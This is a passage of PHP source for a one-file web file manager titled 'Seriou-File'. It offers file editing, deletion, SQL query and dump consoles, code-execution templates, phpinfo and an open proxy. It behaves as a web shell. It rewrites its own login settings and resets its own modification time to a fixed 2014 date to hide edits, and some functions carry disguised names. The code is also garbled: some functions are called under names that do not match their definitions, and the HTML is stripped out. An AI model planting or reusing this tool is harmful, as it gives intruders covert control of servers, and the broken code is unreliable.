$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return ''.stripslashes($vdump).'
';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . '';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'
'.$stmt;
}
function fm_img_link($filename){
return './'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return ' | |
';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' ';
}
function fm_run_input($lng) {
global $fm_config;
$return = !empty($fm_config['enable_'.$lng.'_console']) ?
'
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link, 'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменять надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= ' | |
';
}
return '
| '.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).' |
';
}
function find_text_in_files($dir, $mask, $text) {
$results = array();
if ($handle = opendir($dir)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
$path = $dir . "/" . $entry;
if (is_dir($path)) {
$results = array_merge($results, find_text_in_files($path, $mask, $text));
} else {
if (fnmatch($mask, $entry)) {
$contents = file_get_contents($path);
if (strpos($contents, $text) !== false) {
$results[] = str_replace('//', '/', $path);
}
}
}
}
}
closedir($handle);
}
return $results;
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])){
if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
echo '
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg_ntimes = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg_ntimes .= __('File updated');
if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg_ntimes .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg_ntimes .= __('File updated');
} else $msg_ntimes .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} else $msg_ntimes .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
$url = isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
$result = preg_replace('%()%i', '$1'.''.$proxy_form, $result);
echo $result;
die();
}
}
?>
Seriou-File
';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
'.strtoupper($res_lng).' '.__('Result').''.$fun($res).'
';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
else $msg_ntimes .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
'.') {
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
$msg_ntimes .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
'.') {
if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
$msg_ntimes .= __('Error occurred');
} else {
$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
}
} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg_ntimes .= __('Error occurred');
} else {
$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
}
} elseif(!empty($_POST['search_recursive'])) {
ini_set('max_execution_time', '0');
$search_data = find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
if(!empty($search_data)) {
$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):
';
foreach ($search_data as $filename) {
$msg_ntimes .= ''.basename($filename).' ';
}
} else {
$msg_ntimes .= __('Nothing founded');
}
} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
$msg_ntimes .= __('Error occurred');
} else {
fclose($fp);
$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' '.__('Delete') . '';
else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' '.__('Delete').'';
} else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' '.__('Delete').'';
} else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');
}
?>
| =__('Filename')?> |
=__('Size')?> |
=__('Date')?> |
=__('Rights')?> |
=__('Manage')?> |
'.$file.'';
$loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file);
$style = 'row2';
if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? ' '.$file.''
: ' '.$file.'';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file);
$arlink = in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file) ? '' : '' . __('Delete') . '';
$renamelink = fm_root($file) ? '' : '' . __('Rename') . '';
$rightstext = ($file=='.' || $file=='..') ? '' : '' . @fm_rights_string($filename) . '';
?>
| =$link?> |
=$filedata[7]?> |
=gmdate("Y-m-d H:i:s",$filedata[9])?> |
=$rightstext?> |
=$deletelink?> |
=$renamelink?> |
=$loadlink?> |
=$arlink?> |
Github |
.';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' |
proxy';
if (!empty($fm_config['show_phpinfo'])) echo ' |
phpinfo';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' |
xls';
if (!empty($fm_config['fm_settings'])) echo ' |
'.__('Settings').'';
?>
errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return $this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name, $this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to ').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.':
';
foreach ($Errors as $value)
$message .= $value.'
';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $iarchive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
else $header['filename'] = $path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').' '.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->errors[] = __('Cannot write to file').' '.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) != $header['size']) {
$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').' '.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').': '.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));
$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['checksum'] = OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0)) return true;
$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0;
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['user_id'] = OctDec(trim($unpack_data['user_id']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
